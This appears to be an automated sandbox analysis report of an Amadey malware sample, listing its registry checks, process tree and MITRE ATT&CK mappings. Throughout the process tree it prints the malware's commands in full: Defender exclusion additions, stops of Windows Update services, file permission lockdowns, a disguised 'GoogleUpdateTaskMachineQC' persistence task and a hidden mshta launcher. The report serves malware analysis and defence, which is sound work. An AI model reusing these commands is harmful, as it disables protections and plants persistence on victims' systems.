amadey | f9f9b154f928549c7a4b484909f41352048ce8148c678f4ec32c807c1d173a39

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Control Panel\International\Geo\Nation	yiueea.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Control Panel\International\Geo\Nation	soso.exe

Executes dropped EXE 5 IoCs

pid	Process
2156	yiueea.exe
4976	aafg31.exe
3328	taskhost.exe
1508	winlog.exe
1888	msedge.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1508	winlog.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2020	sc.exe
924	sc.exe
7700	sc.exe
7436	sc.exe
2952	sc.exe
3652	sc.exe
4460	sc.exe
3352	sc.exe
7460	sc.exe
7644	sc.exe
7764	sc.exe
6128	sc.exe
4920	sc.exe
2976	sc.exe
6040	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4232	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1888	msedge.exe
1888	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3328	taskhost.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 2156	1396	soso.exe	86
PID 1396 wrote to memory of 2156	1396	soso.exe	86
PID 1396 wrote to memory of 2156	1396	soso.exe	86
PID 2156 wrote to memory of 4232	2156	yiueea.exe	87
PID 2156 wrote to memory of 4232	2156	yiueea.exe	87
PID 2156 wrote to memory of 4232	2156	yiueea.exe	87
PID 2156 wrote to memory of 872	2156	yiueea.exe	89
PID 2156 wrote to memory of 872	2156	yiueea.exe	89
PID 2156 wrote to memory of 872	2156	yiueea.exe	89
PID 872 wrote to memory of 4300	872	cmd.exe	91
PID 872 wrote to memory of 4300	872	cmd.exe	91
PID 872 wrote to memory of 4300	872	cmd.exe	91
PID 872 wrote to memory of 2168	872	cmd.exe	92
PID 872 wrote to memory of 2168	872	cmd.exe	92
PID 872 wrote to memory of 2168	872	cmd.exe	92
PID 872 wrote to memory of 4652	872	cmd.exe	93
PID 872 wrote to memory of 4652	872	cmd.exe	93
PID 872 wrote to memory of 4652	872	cmd.exe	93
PID 872 wrote to memory of 1544	872	cmd.exe	94
PID 872 wrote to memory of 1544	872	cmd.exe	94
PID 872 wrote to memory of 1544	872	cmd.exe	94
PID 872 wrote to memory of 1016	872	cmd.exe	95
PID 872 wrote to memory of 1016	872	cmd.exe	95
PID 872 wrote to memory of 1016	872	cmd.exe	95
PID 872 wrote to memory of 3264	872	cmd.exe	96
PID 872 wrote to memory of 3264	872	cmd.exe	96
PID 872 wrote to memory of 3264	872	cmd.exe	96
PID 2156 wrote to memory of 4976	2156	yiueea.exe	98
PID 2156 wrote to memory of 4976	2156	yiueea.exe	98
PID 2156 wrote to memory of 3328	2156	yiueea.exe	100
PID 2156 wrote to memory of 3328	2156	yiueea.exe	100
PID 2156 wrote to memory of 3328	2156	yiueea.exe	100
PID 2156 wrote to memory of 1508	2156	yiueea.exe	101
PID 2156 wrote to memory of 1508	2156	yiueea.exe	101
PID 2156 wrote to memory of 1888	2156	yiueea.exe	103
PID 2156 wrote to memory of 1888	2156	yiueea.exe	103

C:\Users\Admin\AppData\Local\Temp\soso.exe
"C:\Users\Admin\AppData\Local\Temp\soso.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe
  "C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4232
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "yiueea.exe" /P "Admin:N"&&CACLS "yiueea.exe" /P "Admin:R" /E&&echo Y|CACLS "..\577f58beff" /P "Admin:N"&&CACLS "..\577f58beff" /P "Admin:R" /E&&Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:4300
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "yiueea.exe" /P "Admin:N"
      4⤵
      PID:2168
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "yiueea.exe" /P "Admin:R" /E
      4⤵
      PID:4652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\577f58beff" /P "Admin:N"
      4⤵
      PID:1016
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\577f58beff" /P "Admin:R" /E
      4⤵
      PID:3264
- - C:\Users\Admin\AppData\Local\Temp\1000057001\aafg31.exe
    "C:\Users\Admin\AppData\Local\Temp\1000057001\aafg31.exe"
    3⤵
    - Executes dropped EXE
    PID:4976
- - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
    "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3328
  - - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
      "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
      4⤵
      PID:4912
    - - C:\Users\Admin\AppData\Local\Temp\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winlog.exe"
        5⤵
        
        PID:456
      - C:\Users\Admin\AppData\Local\Temp\is-B0L5T.tmp\winlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-B0L5T.tmp\winlog.tmp" /SL5="$40270,25895378,832512,C:\Users\Admin\AppData\Local\Temp\winlog.exe"
        6⤵
        
        PID:1872
        
        C:\Users\Admin\AppData\Local\Temp\winlog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winlog.exe" /SILENT
        7⤵
        
        PID:2128
        
        C:\Users\Admin\AppData\Local\Temp\is-DBRLC.tmp\winlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DBRLC.tmp\winlog.tmp" /SL5="$50270,25895378,832512,C:\Users\Admin\AppData\Local\Temp\winlog.exe" /SILENT
        8⤵
        
        PID:2924
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Public\Document\python.exe C:\Users\Public\Document\dsc.py"
        9⤵
        
        PID:2844
        
        C:\Users\Public\Document\python.exe
        
        C:\Users\Public\Document\python.exe C:\Users\Public\Document\dsc.py
        10⤵
        
        PID:4888
- - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
    "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1508
- - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
    "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1888
- - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
    "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
    3⤵
    PID:1844
  - - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
      "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
      4⤵
      PID:4828
  - - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
      "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
      4⤵
      PID:4104
- - C:\Users\Admin\AppData\Local\Temp\1000058001\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\1000058001\toolspub2.exe"
    3⤵
    PID:2000
- - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
    "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
    3⤵
    PID:4532
  - - C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      4⤵
      PID:8756
- - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
    "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
    3⤵
    PID:492
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      PID:8448
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        
        PID:4584
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        
        PID:8704
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        
        PID:7660
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:4432
- - C:\Users\Admin\AppData\Local\Temp\1000059001\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\1000059001\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:4848
- - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
    "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
    3⤵
    PID:3440
  - - C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
      "C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
      4⤵
      PID:3992
- - C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
    "C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
    3⤵
    PID:3208
- - C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
    "C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
    3⤵
    PID:3508

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:2856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:4612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:4216

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1844
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2020
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4920
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2976
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:3652
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:4460

C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe
C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe
1⤵
PID:3764

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:4428
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3352
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2952
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:924
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:6040
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:7460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:5084

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2756
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:1516
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:4372
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:5764
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:3916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:7100

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:8576
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:7644
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:7700
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:7764
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:6128
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:7436

C:\Windows\system32\mshta.exe
mshta.exe vbscript:Execute("Set oShell = CreateObject (""Wscript.Shell""):Dim strArgs:strArgs = ""cmd -windowstyle hidden /c C:\Users\Public\Document\python.exe C:\Users\Public\Document\run.py"":oShell.Run strArgs, 0, false:window.close")
1⤵
PID:7404

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:7416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:8880

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:8860
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:5424
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:8136
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:1616
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4492

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:6048

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:8832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery